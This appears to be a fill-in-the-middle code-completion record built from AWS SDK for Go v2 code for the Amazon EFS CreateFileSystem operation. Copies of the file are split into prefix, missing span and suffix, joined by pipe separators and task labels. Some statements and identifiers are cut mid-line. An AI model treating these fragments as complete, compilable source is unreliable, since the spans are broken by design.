NumberOfMountTargets int32
// The Amazon Web Services account that created the file system.
//
// This member is required.
OwnerId *string
// The performance mode of the file system.
//
// This member is required.
PerformanceMode types.PerformanceMode
// The latest known metered size (in bytes) of data stored in the file system, in
// its Value field, and the time at which that size was determined in its Timestamp
// field. The Timestamp value is the integer number of seconds since
// 1970-01-01T00:00:00Z. The SizeInBytes value doesn't represent the size of a
// consistent snapshot of the file system, but it is eventually consistent when
// there are no writes to the file system. That is, SizeInBytes represents actual
// size only if the file system is not modified for a period longer than a couple
// of hours. Otherwise, the value is not the exact size that the file system was at
// any point in time.
//
// This member is required.
SizeInBytes *types.FileSystemSize
// The tags associated with the file system, presented as an array of Tag objects.
//
// This member is required.
Tags []types.Tag
// The unique and consistent identifier of the Availability Zone in which the file
// system's One Zone storage classes exist. For example, use1-az1 is an
// Availability Zone ID for the us-east-1 Amazon Web Services Region, and it has
// the same location in every Amazon Web Services account.
AvailabilityZoneId *string
// Describes the Amazon Web Services Availability Zone in which the file system is
// located, and is valid only for file systems using One Zone storage classes. For
// more information, see Using EFS storage classes (https://docs.aws.amazon.com/efs/latest/ug/storage-classes.html)
// in the Amazon EFS User Guide.
AvailabilityZoneName *string
// A Boolean value that, if true, indicates that the file system is encrypted.
Encrypted *bool
// The Amazon Resource Name (ARN) for the EFS file system, in the format
// arn:aws:elasticfilesystem:region:account-id:file-system/file-system-id .
// Example with sample data:
// arn:aws:elasticfilesystem:us-west-2:1111333322228888:file-system/fs-01234567
FileSystemArn *string
// The ID of an KMS key used to protect the encrypted file system.
KmsKeyId *string
// You can add tags to a file system, including a Name tag. For more information,
// see CreateFileSystem . If the file system has a Name tag, Amazon EFS returns
// the value in this field.
Name *string
// The amount of provisioned throughput, measured in MiB/s, for the file system.
// Valid for file systems using ThroughputMode set to provisioned .
ProvisionedThroughputInMibps *float64
// Displays the file system's throughput mode. For more information, see
// Throughput modes (https://docs.aws.amazon.com/efs/latest/ug/performance.html#throughput-modes)
// in the Amazon EFS User Guide.
ThroughputMode types.ThroughputMode
// Metadata pertaining to the operation's result.
ResultMetadata middleware.Metadata
noSmithyDocumentSerde
}
func (c *Client) addOperationCreateFileSystemMiddlewares(stack *middleware.Stack, options Options) (err error) {
err = stack.Serialize.Add(&awsRestjson1_serializeOpCreateFileSystem{}, middleware.After)
if err != nil {
return err
}
err = stack.Deserialize.Add(&awsRestjson1_deserializeOpCreateFileSystem{}, middleware.After)
if err != nil {
return err
}
if err = addlegacyEndpointContextSetter(stack, options); err != nil {
return err
}
if err = addSetLoggerMiddleware(stack, options); err != nil {
return err
}
if err = awsmiddleware.AddClientRequestIDMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddComputeContentLengthMiddleware(stack); err != nil {
return err
}
if err = addResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = v4.AddComputePayloadSHA256Middleware(stack); err != nil {
return err
}
if err = addRetryMiddlewares(stack, options); err != nil {
return err
}
if err = addHTTPSignerV4Middleware(stack, options); err != nil {
return err
}
if err = awsmiddleware.AddRawResponseToMetadata(stack); err != nil {
return err
}
if err = awsmiddleware.AddRecordResponseTiming(stack); err != nil {
return err
}
if err = addClientUserAgent(stack, options); err != nil {
return err
}
if err = smithyhttp.AddErrorCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddCloseResponseBodyMiddleware(stack); err != nil |
if err = addCreateFileSystemResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = addIdempotencyToken_opCreateFileSystemMiddleware(stack, options); err != nil {
return err
}
if err = addOpCreateFileSystemValidationMiddleware(stack); err != nil {
return err
}
if err = stack.Initialize.Add(newServiceMetadataMiddleware_opCreateFileSystem(options.Region), middleware.Before); err != nil {
return err
}
if err = awsmiddleware.AddRecursionDetection(stack); err != nil {
return err
}
if err = addRequestIDRetrieverMiddleware(stack); err != nil {
return err
}
if err = addResponseErrorMiddleware(stack); err != nil {
return err
}
if err = addRequestResponseLogging(stack, options); err != nil {
return err
}
if err = addendpointDisableHTTPSMiddleware(stack, options); err != nil {
return err
}
return nil
}
type idempotencyToken_initializeOpCreateFileSystem struct {
tokenProvider IdempotencyTokenProvider
}
func (*idempotencyToken_initializeOpCreateFileSystem) ID() string {
return "OperationIdempotencyTokenAutoFill"
}
func (m *idempotencyToken_initializeOpCreateFileSystem) HandleInitialize(ctx context.Context, in middleware.InitializeInput, next middleware.InitializeHandler) (
out middleware.InitializeOutput, metadata middleware.Metadata, err error,
) {
if m.tokenProvider == nil {
return next.HandleInitialize(ctx, in)
}
input, ok := in.Parameters.(*CreateFileSystemInput)
if !ok {
return out, metadata, fmt.Errorf("expected middleware input to be of type *CreateFileSystemInput ")
}
if input.CreationToken == nil {
t, err := m.tokenProvider.GetIdempotencyToken()
if err != nil {
return out, metadata, err
}
input.CreationToken = &t
}
return next.HandleInitialize(ctx, in)
}
func addIdempotencyToken_opCreateFileSystemMiddleware(stack *middleware.Stack, cfg Options) error {
return stack.Initialize.Add(&idempotencyToken_initializeOpCreateFileSystem{tokenProvider: cfg.IdempotencyTokenProvider}, middleware.Before)
}
func newServiceMetadataMiddleware_opCreateFileSystem(region string) *awsmiddleware.RegisterServiceMetadata {
return &awsmiddleware.RegisterServiceMetadata{
Region: region,
ServiceID: ServiceID,
SigningName: "elasticfilesystem",
OperationName: "CreateFileSystem",
}
}
type opCreateFileSystemResolveEndpointMiddleware struct {
EndpointResolver EndpointResolverV2
BuiltInResolver builtInParameterResolver
}
func (*opCreateFileSystemResolveEndpointMiddleware) ID() string {
return "ResolveEndpointV2"
}
func (m *opCreateFileSystemResolveEndpointMiddleware) HandleSerialize(ctx context.Context, in middleware.SerializeInput, next middleware.SerializeHandler) (
out middleware.SerializeOutput, metadata middleware.Metadata, err error,
) {
if awsmiddleware.GetRequiresLegacyEndpoints(ctx) {
return next.HandleSerialize(ctx, in)
}
req, ok := in.Request.(*smithyhttp.Request)
if !ok {
return out, metadata, fmt.Errorf("unknown transport type %T", in.Request)
}
if m.EndpointResolver == nil {
return out, metadata, fmt.Errorf("expected endpoint resolver to not be nil")
}
params := EndpointParameters{}
m.BuiltInResolver.ResolveBuiltIns(¶ms)
var resolvedEndpoint smithyendpoints.Endpoint
resolvedEndpoint, err = m.EndpointResolver.ResolveEndpoint(ctx, params)
if err != nil {
return out, metadata, fmt.Errorf("failed to resolve service endpoint, %w", err)
}
req.URL = &resolvedEndpoint.URI
for k := range resolvedEndpoint.Headers {
req.Header.Set(
k,
resolvedEndpoint.Headers.Get(k),
)
}
authSchemes, err := internalauth.GetAuthenticationSchemes(&resolvedEndpoint.Properties)
if err != nil {
var nfe *internalauth.NoAuthenticationSchemesFoundError
if errors.As(err, &nfe) {
// if no auth scheme is found, default to sigv4
signingName := "elasticfilesystem"
signingRegion := m.BuiltInResolver.(*builtInResolver).Region
ctx = awsmiddleware.SetSigningName(ctx, signingName)
ctx = awsmiddleware.SetSigningRegion(ctx, signingRegion)
}
var ue *internalauth.UnSupportedAuthenticationSchemeSpecifiedError
if errors.As(err, &ue) {
return out, metadata, fmt.Errorf(
"This operation requests signer version(s) %v but the client only supports %v",
ue.UnsupportedSchemes,
internalauth.SupportedSchemes,
)
}
}
for _, authScheme := range authSchemes {
switch authScheme.(type) {
case *internalauth.AuthenticationSchemeV4:
v4Scheme, _ := authScheme.(*internalauth.AuthenticationSchemeV4)
var signingName, signingRegion string
if v4Scheme.SigningName == nil {
signingName = "elasticfilesystem"
} else {
signingName = *v4Scheme.SigningName
}
if v4Scheme.SigningRegion == nil {
signingRegion = m.BuiltInResolver.(*builtInResolver).Region
} else {
signingRegion = *v4Scheme.SigningRegion
}
if v4Scheme.DisableDoubleEncoding != nil {
// The signer sets an equivalent value at client initialization time.
// Setting this context value will cause the signer to extract it
// and override the value set at client initialization time.
ctx = internalauth.SetDisableDoubleEncoding(ctx, *v4Scheme.DisableDoubleEncoding)
}
ctx = awsmiddleware.SetSigningName(ctx, signingName)
ctx = awsmiddleware.SetSigningRegion(ctx, signingRegion)
break
case *internalauth.AuthenticationSchemeV4A:
v4aScheme, _ := authScheme.(*internalauth.AuthenticationSchemeV4A)
if v4aScheme.SigningName == nil {
v4aScheme.SigningName = aws.String("elasticfilesystem")
}
if v4aScheme.DisableDoubleEncoding != nil {
// The signer sets an equivalent value at client initialization time.
// Setting this context value will cause the signer to extract it
// and override the value set at client initialization time.
ctx = internalauth.SetDisableDoubleEncoding(ctx, *v4aScheme.DisableDoubleEncoding)
}
ctx = awsmiddleware.SetSigningName(ctx, *v4aScheme.SigningName)
ctx = awsmiddleware.SetSigningRegion(ctx, v4aScheme.SigningRegionSet[0])
break
case *internalauth.AuthenticationSchemeNone:
break
}
}
return next.HandleSerialize(ctx, in)
}
func addCreateFileSystemResolveEndpointMiddleware(stack *middleware.Stack, options Options) error {
return stack.Serialize.Insert(&opCreateFileSystemResolveEndpointMiddleware{
EndpointResolver: options.EndpointResolverV2,
BuiltInResolver: &builtInResolver{
Region: options.Region,
UseDualStack: options.EndpointOptions.UseDualStackEndpoint,
UseFIPS: options.EndpointOptions.UseFIPSEndpoint,
Endpoint: options.BaseEndpoint,
},
}, "ResolveEndpoint", middleware.After)
}
| {
return err
} | conditional_block |
api_op_CreateFileSystem.go | // Code generated by smithy-go-codegen DO NOT EDIT.
package efs
import (
"context"
"errors"
"fmt"
"github.com/aws/aws-sdk-go-v2/aws"
awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware"
"github.com/aws/aws-sdk-go-v2/aws/signer/v4"
internalauth "github.com/aws/aws-sdk-go-v2/internal/auth"
"github.com/aws/aws-sdk-go-v2/service/efs/types"
smithyendpoints "github.com/aws/smithy-go/endpoints"
"github.com/aws/smithy-go/middleware"
smithyhttp "github.com/aws/smithy-go/transport/http"
"time"
)
// Creates a new, empty file system. The operation requires a creation token in
// the request that Amazon EFS uses to ensure idempotent creation (calling the
// operation with same creation token has no effect). If a file system does not
// currently exist that is owned by the caller's Amazon Web Services account with
// the specified creation token, this operation does the following:
// - Creates a new, empty file system. The file system will have an Amazon EFS
// assigned ID, and an initial lifecycle state creating .
// - Returns with the description of the created file system.
//
// Otherwise, this operation returns a FileSystemAlreadyExists error with the ID
// of the existing file system. For basic use cases, you can use a randomly
// generated UUID for the creation token. The idempotent operation allows you to
// retry a CreateFileSystem call without risk of creating an extra file system.
// This can happen when an initial call fails in a way that leaves it uncertain
// whether or not a file system was actually created. An example might be that a
// transport level timeout occurred or your connection was reset. As long as you
// use the same creation token, if the initial call had succeeded in creating a
// file system, the client can learn of its existence from the
// FileSystemAlreadyExists error. For more information, see Creating a file system (https://docs.aws.amazon.com/efs/latest/ug/creating-using-create-fs.html#creating-using-create-fs-part1)
// in the Amazon EFS User Guide. The CreateFileSystem call returns while the file
// system's lifecycle state is still creating . You can check the file system
// creation status by calling the DescribeFileSystems operation, which among other
// things returns the file system state. This operation accepts an optional
// PerformanceMode parameter that you choose for your file system. We recommend
// generalPurpose performance mode for most file systems. File systems using the
// maxIO performance mode can scale to higher levels of aggregate throughput and
// operations per second with a tradeoff of slightly higher latencies for most file
// operations. The performance mode can't be changed after the file system has been
// created. For more information, see Amazon EFS performance modes (https://docs.aws.amazon.com/efs/latest/ug/performance.html#performancemodes.html)
// . You can set the throughput mode for the file system using the ThroughputMode
// parameter. After the file system is fully created, Amazon EFS sets its lifecycle
// state to available , at which point you can create one or more mount targets for
// the file system in your VPC. For more information, see CreateMountTarget . You
// mount your Amazon EFS file system on an EC2 instances in your VPC by using the
// mount target. For more information, see Amazon EFS: How it Works (https://docs.aws.amazon.com/efs/latest/ug/how-it-works.html)
// . This operation requires permissions for the elasticfilesystem:CreateFileSystem
// action. File systems can be tagged on creation. If tags are specified in the
// creation action, IAM performs additional authorization on the
// elasticfilesystem:TagResource action to verify if users have permissions to
// create tags. Therefore, you must grant explicit permissions to use the
// elasticfilesystem:TagResource action. For more information, see Granting
// permissions to tag resources during creation (https://docs.aws.amazon.com/efs/latest/ug/using-tags-efs.html#supported-iam-actions-tagging.html)
// .
func (c *Client) CreateFileSystem(ctx context.Context, params *CreateFileSystemInput, optFns ...func(*Options)) (*CreateFileSystemOutput, error) {
if params == nil {
params = &CreateFileSystemInput{}
}
result, metadata, err := c.invokeOperation(ctx, "CreateFileSystem", params, optFns, c.addOperationCreateFileSystemMiddlewares)
if err != nil {
return nil, err
}
out := result.(*CreateFileSystemOutput)
out.ResultMetadata = metadata
return out, nil
}
type CreateFileSystemInput struct {
// A string of up to 64 ASCII characters. Amazon EFS uses this to ensure
// idempotent creation.
//
// This member is required.
CreationToken *string
// Used to create a file system that uses One Zone storage classes. It specifies
// the Amazon Web Services Availability Zone in which to create the file system.
// Use the format us-east-1a to specify the Availability Zone. For more
// information about One Zone storage classes, see Using EFS storage classes (https://docs.aws.amazon.com/efs/latest/ug/storage-classes.html)
// in the Amazon EFS User Guide. One Zone storage classes are not available in all
// Availability Zones in Amazon Web Services Regions where Amazon EFS is available.
AvailabilityZoneName *string
// Specifies whether automatic backups are enabled on the file system that you are
// creating. Set the value to true to enable automatic backups. If you are
// creating a file system that uses One Zone storage classes, automatic backups are
// enabled by default. For more information, see Automatic backups (https://docs.aws.amazon.com/efs/latest/ug/awsbackup.html#automatic-backups)
// in the Amazon EFS User Guide. Default is false . However, if you specify an
// AvailabilityZoneName , the default is true . Backup is not available in all
// Amazon Web Services Regions where Amazon EFS is available.
Backup *bool
// A Boolean value that, if true, creates an encrypted file system. When creating
// an encrypted file system, you have the option of specifying an existing Key
// Management Service key (KMS key). If you don't specify a KMS key, then the
// default KMS key for Amazon EFS, /aws/elasticfilesystem , is used to protect the
// encrypted file system.
Encrypted *bool
// The ID of the KMS key that you want to use to protect the encrypted file
// system. This parameter is required only if you want to use a non-default KMS
// key. If this parameter is not specified, the default KMS key for Amazon EFS is
// used. You can specify a KMS key ID using the following formats:
// - Key ID - A unique identifier of the key, for example
// 1234abcd-12ab-34cd-56ef-1234567890ab .
// - ARN - An Amazon Resource Name (ARN) for the key, for example
// arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab .
// - Key alias - A previously created display name for a key, for example
// alias/projectKey1 .
// - Key alias ARN - An ARN for a key alias, for example
// arn:aws:kms:us-west-2:444455556666:alias/projectKey1 .
// If you use KmsKeyId , you must set the CreateFileSystemRequest$Encrypted
// parameter to true. EFS accepts only symmetric KMS keys. You cannot use
// asymmetric KMS keys with Amazon EFS file systems.
KmsKeyId *string
// The performance mode of the file system. We recommend generalPurpose
// performance mode for most file systems. File systems using the maxIO
// performance mode can scale to higher levels of aggregate throughput and
// operations per second with a tradeoff of slightly higher latencies for most file
// operations. The performance mode can't be changed after the file system has been
// created. The maxIO mode is not supported on file systems using One Zone storage
// classes.
PerformanceMode types.PerformanceMode
// The throughput, measured in MiB/s, that you want to provision for a file system
// that you're creating. Valid values are 1-1024. Required if ThroughputMode is
// set to provisioned . The upper limit for throughput is 1024 MiB/s. To increase
// this limit, contact Amazon Web Services Support. For more information, see
// Amazon EFS quotas that you can increase (https://docs.aws.amazon.com/efs/latest/ug/limits.html#soft-limits)
// in the Amazon EFS User Guide.
ProvisionedThroughputInMibps *float64
// Use to create one or more tags associated with the file system. Each tag is a
// user-defined key-value pair. Name your file system on creation by including a
// "Key":"Name","Value":"{value}" key-value pair. Each key must be unique. For more
// information, see Tagging Amazon Web Services resources (https://docs.aws.amazon.com/general/latest/gr/aws_tagging.html)
// in the Amazon Web Services General Reference Guide.
Tags []types.Tag
// Specifies the throughput mode for the file system. The mode can be bursting ,
// provisioned , or elastic . If you set ThroughputMode to provisioned , you must
// also set a value for ProvisionedThroughputInMibps . After you create the file
// system, you can decrease your file system's throughput in Provisioned Throughput
// mode or change between the throughput modes, with certain time restrictions. For
// more information, see Specifying throughput with provisioned mode (https://docs.aws.amazon.com/efs/latest/ug/performance.html#provisioned-throughput)
// in the Amazon EFS User Guide. Default is bursting .
ThroughputMode types.ThroughputMode
noSmithyDocumentSerde
}
// A description of the file system.
type CreateFileSystemOutput struct {
// The time that the file system was created, in seconds (since
// 1970-01-01T00:00:00Z).
//
// This member is required.
CreationTime *time.Time
// The opaque string specified in the request.
//
// This member is required.
CreationToken *string
// The ID of the file system, assigned by Amazon EFS.
//
// This member is required.
FileSystemId *string
// The lifecycle phase of the file system.
//
// This member is required.
LifeCycleState types.LifeCycleState
// The current number of mount targets that the file system has. For more
// information, see CreateMountTarget .
//
// This member is required.
NumberOfMountTargets int32
// The Amazon Web Services account that created the file system.
//
// This member is required.
OwnerId *string
// The performance mode of the file system.
//
// This member is required.
PerformanceMode types.PerformanceMode
// The latest known metered size (in bytes) of data stored in the file system, in
// its Value field, and the time at which that size was determined in its Timestamp
// field. The Timestamp value is the integer number of seconds since
// 1970-01-01T00:00:00Z. The SizeInBytes value doesn't represent the size of a
// consistent snapshot of the file system, but it is eventually consistent when
// there are no writes to the file system. That is, SizeInBytes represents actual
// size only if the file system is not modified for a period longer than a couple
// of hours. Otherwise, the value is not the exact size that the file system was at
// any point in time.
//
// This member is required.
SizeInBytes *types.FileSystemSize
// The tags associated with the file system, presented as an array of Tag objects.
//
// This member is required.
Tags []types.Tag
// The unique and consistent identifier of the Availability Zone in which the file
// system's One Zone storage classes exist. For example, use1-az1 is an
// Availability Zone ID for the us-east-1 Amazon Web Services Region, and it has
// the same location in every Amazon Web Services account.
AvailabilityZoneId *string
// Describes the Amazon Web Services Availability Zone in which the file system is
// located, and is valid only for file systems using One Zone storage classes. For
// more information, see Using EFS storage classes (https://docs.aws.amazon.com/efs/latest/ug/storage-classes.html)
// in the Amazon EFS User Guide.
AvailabilityZoneName *string
// A Boolean value that, if true, indicates that the file system is encrypted.
Encrypted *bool
// The Amazon Resource Name (ARN) for the EFS file system, in the format
// arn:aws:elasticfilesystem:region:account-id:file-system/file-system-id .
// Example with sample data:
// arn:aws:elasticfilesystem:us-west-2:1111333322228888:file-system/fs-01234567
FileSystemArn *string
// The ID of an KMS key used to protect the encrypted file system.
KmsKeyId *string
// You can add tags to a file system, including a Name tag. For more information,
// see CreateFileSystem . If the file system has a Name tag, Amazon EFS returns
// the value in this field.
Name *string
// The amount of provisioned throughput, measured in MiB/s, for the file system.
// Valid for file systems using ThroughputMode set to provisioned .
ProvisionedThroughputInMibps *float64
// Displays the file system's throughput mode. For more information, see
// Throughput modes (https://docs.aws.amazon.com/efs/latest/ug/performance.html#throughput-modes)
// in the Amazon EFS User Guide.
ThroughputMode types.ThroughputMode
// Metadata pertaining to the operation's result.
ResultMetadata middleware.Metadata
noSmithyDocumentSerde
}
func (c *Client) addOperationCreateFileSystemMiddlewares(stack *middleware.Stack, options Options) (err error) {
err = stack.Serialize.Add(&awsRestjson1_serializeOpCreateFileSystem{}, middleware.After)
if err != nil {
return err
}
err = stack.Deserialize.Add(&awsRestjson1_deserializeOpCreateFileSystem{}, middleware.After)
if err != nil {
return err
}
if err = addlegacyEndpointContextSetter(stack, options); err != nil {
return err
}
if err = addSetLoggerMiddleware(stack, options); err != nil {
return err
}
if err = awsmiddleware.AddClientRequestIDMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddComputeContentLengthMiddleware(stack); err != nil {
return err
}
if err = addResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = v4.AddComputePayloadSHA256Middleware(stack); err != nil {
return err
}
if err = addRetryMiddlewares(stack, options); err != nil {
return err
}
if err = addHTTPSignerV4Middleware(stack, options); err != nil {
return err
}
if err = awsmiddleware.AddRawResponseToMetadata(stack); err != nil {
return err
}
if err = awsmiddleware.AddRecordResponseTiming(stack); err != nil {
return err
}
if err = addClientUserAgent(stack, options); err != nil {
return err
}
if err = smithyhttp.AddErrorCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = addCreateFileSystemResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = addIdempotencyToken_opCreateFileSystemMiddleware(stack, options); err != nil {
return err
}
if err = addOpCreateFileSystemValidationMiddleware(stack); err != nil {
return err
}
if err = stack.Initialize.Add(newServiceMetadataMiddleware_opCreateFileSystem(options.Region), middleware.Before); err != nil {
return err
}
if err = awsmiddleware.AddRecursionDetection(stack); err != nil {
return err
}
if err = addRequestIDRetrieverMiddleware(stack); err != nil {
return err
}
if err = addResponseErrorMiddleware(stack); err != nil {
return err
}
if err = addRequestResponseLogging(stack, options); err != nil {
return err
}
if err = addendpointDisableHTTPSMiddleware(stack, options); err != nil {
return err
}
return nil
}
type idempotencyToken_initializeOpCreateFileSystem struct {
tokenProvider IdempotencyTokenProvider
}
func (*idempotencyToken_initializeOpCreateFileSystem) ID() string {
return "OperationIdempotencyTokenAutoFill"
}
func (m *idempotencyToken_initializeOpCreateFileSystem) HandleInitialize(ctx context.Context, in middleware.InitializeInput, next middleware.InitializeHandler) (
out middleware.InitializeOutput, metadata middleware.Metadata, err error,
) {
if m.tokenProvider == nil {
return next.HandleInitialize(ctx, in)
}
input, ok := in.Parameters.(*CreateFileSystemInput)
if !ok {
return out, metadata, fmt.Errorf("expected middleware input to be of type *CreateFileSystemInput ")
}
if input.CreationToken == nil {
t, err := m.tokenProvider.GetIdempotencyToken()
if err != nil {
return out, metadata, err
}
input.CreationToken = &t
}
return next.HandleInitialize(ctx, in)
}
func addIdempotencyToken_opCreateFileSystemMiddleware(stack *middleware.Stack, cfg Options) error {
return stack.Initialize.Add(&idempotencyToken_initializeOpCreateFileSystem{tokenProvider: cfg.IdempotencyTokenProvider}, middleware.Before)
}
func newServiceMetadataMiddleware_opCreateFileSystem(region string) *awsmiddleware.RegisterServiceMetadata {
return &awsmiddleware.RegisterServiceMetadata{
Region: region,
ServiceID: ServiceID,
SigningName: "elasticfilesystem",
OperationName: "CreateFileSystem",
}
}
type opCreateFileSystemResolveEndpointMiddleware struct {
EndpointResolver EndpointResolverV2
BuiltInResolver builtInParameterResolver
}
func (*opCreateFileSystemResolveEndpointMiddleware) | () string {
return "ResolveEndpointV2"
}
func (m *opCreateFileSystemResolveEndpointMiddleware) HandleSerialize(ctx context.Context, in middleware.SerializeInput, next middleware.SerializeHandler) (
out middleware.SerializeOutput, metadata middleware.Metadata, err error,
) {
if awsmiddleware.GetRequiresLegacyEndpoints(ctx) {
return next.HandleSerialize(ctx, in)
}
req, ok := in.Request.(*smithyhttp.Request)
if !ok {
return out, metadata, fmt.Errorf("unknown transport type %T", in.Request)
}
if m.EndpointResolver == nil {
return out, metadata, fmt.Errorf("expected endpoint resolver to not be nil")
}
params := EndpointParameters{}
m.BuiltInResolver.ResolveBuiltIns(¶ms)
var resolvedEndpoint smithyendpoints.Endpoint
resolvedEndpoint, err = m.EndpointResolver.ResolveEndpoint(ctx, params)
if err != nil {
return out, metadata, fmt.Errorf("failed to resolve service endpoint, %w", err)
}
req.URL = &resolvedEndpoint.URI
for k := range resolvedEndpoint.Headers {
req.Header.Set(
k,
resolvedEndpoint.Headers.Get(k),
)
}
authSchemes, err := internalauth.GetAuthenticationSchemes(&resolvedEndpoint.Properties)
if err != nil {
var nfe *internalauth.NoAuthenticationSchemesFoundError
if errors.As(err, &nfe) {
// if no auth scheme is found, default to sigv4
signingName := "elasticfilesystem"
signingRegion := m.BuiltInResolver.(*builtInResolver).Region
ctx = awsmiddleware.SetSigningName(ctx, signingName)
ctx = awsmiddleware.SetSigningRegion(ctx, signingRegion)
}
var ue *internalauth.UnSupportedAuthenticationSchemeSpecifiedError
if errors.As(err, &ue) {
return out, metadata, fmt.Errorf(
"This operation requests signer version(s) %v but the client only supports %v",
ue.UnsupportedSchemes,
internalauth.SupportedSchemes,
)
}
}
for _, authScheme := range authSchemes {
switch authScheme.(type) {
case *internalauth.AuthenticationSchemeV4:
v4Scheme, _ := authScheme.(*internalauth.AuthenticationSchemeV4)
var signingName, signingRegion string
if v4Scheme.SigningName == nil {
signingName = "elasticfilesystem"
} else {
signingName = *v4Scheme.SigningName
}
if v4Scheme.SigningRegion == nil {
signingRegion = m.BuiltInResolver.(*builtInResolver).Region
} else {
signingRegion = *v4Scheme.SigningRegion
}
if v4Scheme.DisableDoubleEncoding != nil {
// The signer sets an equivalent value at client initialization time.
// Setting this context value will cause the signer to extract it
// and override the value set at client initialization time.
ctx = internalauth.SetDisableDoubleEncoding(ctx, *v4Scheme.DisableDoubleEncoding)
}
ctx = awsmiddleware.SetSigningName(ctx, signingName)
ctx = awsmiddleware.SetSigningRegion(ctx, signingRegion)
break
case *internalauth.AuthenticationSchemeV4A:
v4aScheme, _ := authScheme.(*internalauth.AuthenticationSchemeV4A)
if v4aScheme.SigningName == nil {
v4aScheme.SigningName = aws.String("elasticfilesystem")
}
if v4aScheme.DisableDoubleEncoding != nil {
// The signer sets an equivalent value at client initialization time.
// Setting this context value will cause the signer to extract it
// and override the value set at client initialization time.
ctx = internalauth.SetDisableDoubleEncoding(ctx, *v4aScheme.DisableDoubleEncoding)
}
ctx = awsmiddleware.SetSigningName(ctx, *v4aScheme.SigningName)
ctx = awsmiddleware.SetSigningRegion(ctx, v4aScheme.SigningRegionSet[0])
break
case *internalauth.AuthenticationSchemeNone:
break
}
}
return next.HandleSerialize(ctx, in)
}
func addCreateFileSystemResolveEndpointMiddleware(stack *middleware.Stack, options Options) error {
return stack.Serialize.Insert(&opCreateFileSystemResolveEndpointMiddleware{
EndpointResolver: options.EndpointResolverV2,
BuiltInResolver: &builtInResolver{
Region: options.Region,
UseDualStack: options.EndpointOptions.UseDualStackEndpoint,
UseFIPS: options.EndpointOptions.UseFIPSEndpoint,
Endpoint: options.BaseEndpoint,
},
}, "ResolveEndpoint", middleware.After)
}
| ID | identifier_name |
api_op_CreateFileSystem.go | // Code generated by smithy-go-codegen DO NOT EDIT.
package efs
import (
"context"
"errors"
"fmt"
"github.com/aws/aws-sdk-go-v2/aws"
awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware"
"github.com/aws/aws-sdk-go-v2/aws/signer/v4"
internalauth "github.com/aws/aws-sdk-go-v2/internal/auth"
"github.com/aws/aws-sdk-go-v2/service/efs/types"
smithyendpoints "github.com/aws/smithy-go/endpoints"
"github.com/aws/smithy-go/middleware"
smithyhttp "github.com/aws/smithy-go/transport/http"
"time"
)
// Creates a new, empty file system. The operation requires a creation token in
// the request that Amazon EFS uses to ensure idempotent creation (calling the
// operation with same creation token has no effect). If a file system does not
// currently exist that is owned by the caller's Amazon Web Services account with
// the specified creation token, this operation does the following:
// - Creates a new, empty file system. The file system will have an Amazon EFS
// assigned ID, and an initial lifecycle state creating .
// - Returns with the description of the created file system.
//
// Otherwise, this operation returns a FileSystemAlreadyExists error with the ID
// of the existing file system. For basic use cases, you can use a randomly
// generated UUID for the creation token. The idempotent operation allows you to
// retry a CreateFileSystem call without risk of creating an extra file system.
// This can happen when an initial call fails in a way that leaves it uncertain
// whether or not a file system was actually created. An example might be that a
// transport level timeout occurred or your connection was reset. As long as you
// use the same creation token, if the initial call had succeeded in creating a
// file system, the client can learn of its existence from the
// FileSystemAlreadyExists error. For more information, see Creating a file system (https://docs.aws.amazon.com/efs/latest/ug/creating-using-create-fs.html#creating-using-create-fs-part1)
// in the Amazon EFS User Guide. The CreateFileSystem call returns while the file
// system's lifecycle state is still creating . You can check the file system
// creation status by calling the DescribeFileSystems operation, which among other
// things returns the file system state. This operation accepts an optional
// PerformanceMode parameter that you choose for your file system. We recommend
// generalPurpose performance mode for most file systems. File systems using the
// maxIO performance mode can scale to higher levels of aggregate throughput and
// operations per second with a tradeoff of slightly higher latencies for most file
// operations. The performance mode can't be changed after the file system has been
// created. For more information, see Amazon EFS performance modes (https://docs.aws.amazon.com/efs/latest/ug/performance.html#performancemodes.html)
// . You can set the throughput mode for the file system using the ThroughputMode
// parameter. After the file system is fully created, Amazon EFS sets its lifecycle
// state to available , at which point you can create one or more mount targets for
// the file system in your VPC. For more information, see CreateMountTarget . You
// mount your Amazon EFS file system on an EC2 instances in your VPC by using the
// mount target. For more information, see Amazon EFS: How it Works (https://docs.aws.amazon.com/efs/latest/ug/how-it-works.html)
// . This operation requires permissions for the elasticfilesystem:CreateFileSystem
// action. File systems can be tagged on creation. If tags are specified in the
// creation action, IAM performs additional authorization on the
// elasticfilesystem:TagResource action to verify if users have permissions to
// create tags. Therefore, you must grant explicit permissions to use the
// elasticfilesystem:TagResource action. For more information, see Granting
// permissions to tag resources during creation (https://docs.aws.amazon.com/efs/latest/ug/using-tags-efs.html#supported-iam-actions-tagging.html)
// .
func (c *Client) CreateFileSystem(ctx context.Context, params *CreateFileSystemInput, optFns ...func(*Options)) (*CreateFileSystemOutput, error) {
if params == nil {
params = &CreateFileSystemInput{}
}
result, metadata, err := c.invokeOperation(ctx, "CreateFileSystem", params, optFns, c.addOperationCreateFileSystemMiddlewares)
if err != nil {
return nil, err
}
out := result.(*CreateFileSystemOutput)
out.ResultMetadata = metadata
return out, nil
}
type CreateFileSystemInput struct {
// A string of up to 64 ASCII characters. Amazon EFS uses this to ensure
// idempotent creation.
//
// This member is required.
CreationToken *string
// Used to create a file system that uses One Zone storage classes. It specifies
// the Amazon Web Services Availability Zone in which to create the file system.
// Use the format us-east-1a to specify the Availability Zone. For more
// information about One Zone storage classes, see Using EFS storage classes (https://docs.aws.amazon.com/efs/latest/ug/storage-classes.html)
// in the Amazon EFS User Guide. One Zone storage classes are not available in all
// Availability Zones in Amazon Web Services Regions where Amazon EFS is available.
AvailabilityZoneName *string
// Specifies whether automatic backups are enabled on the file system that you are
// creating. Set the value to true to enable automatic backups. If you are
// creating a file system that uses One Zone storage classes, automatic backups are
// enabled by default. For more information, see Automatic backups (https://docs.aws.amazon.com/efs/latest/ug/awsbackup.html#automatic-backups)
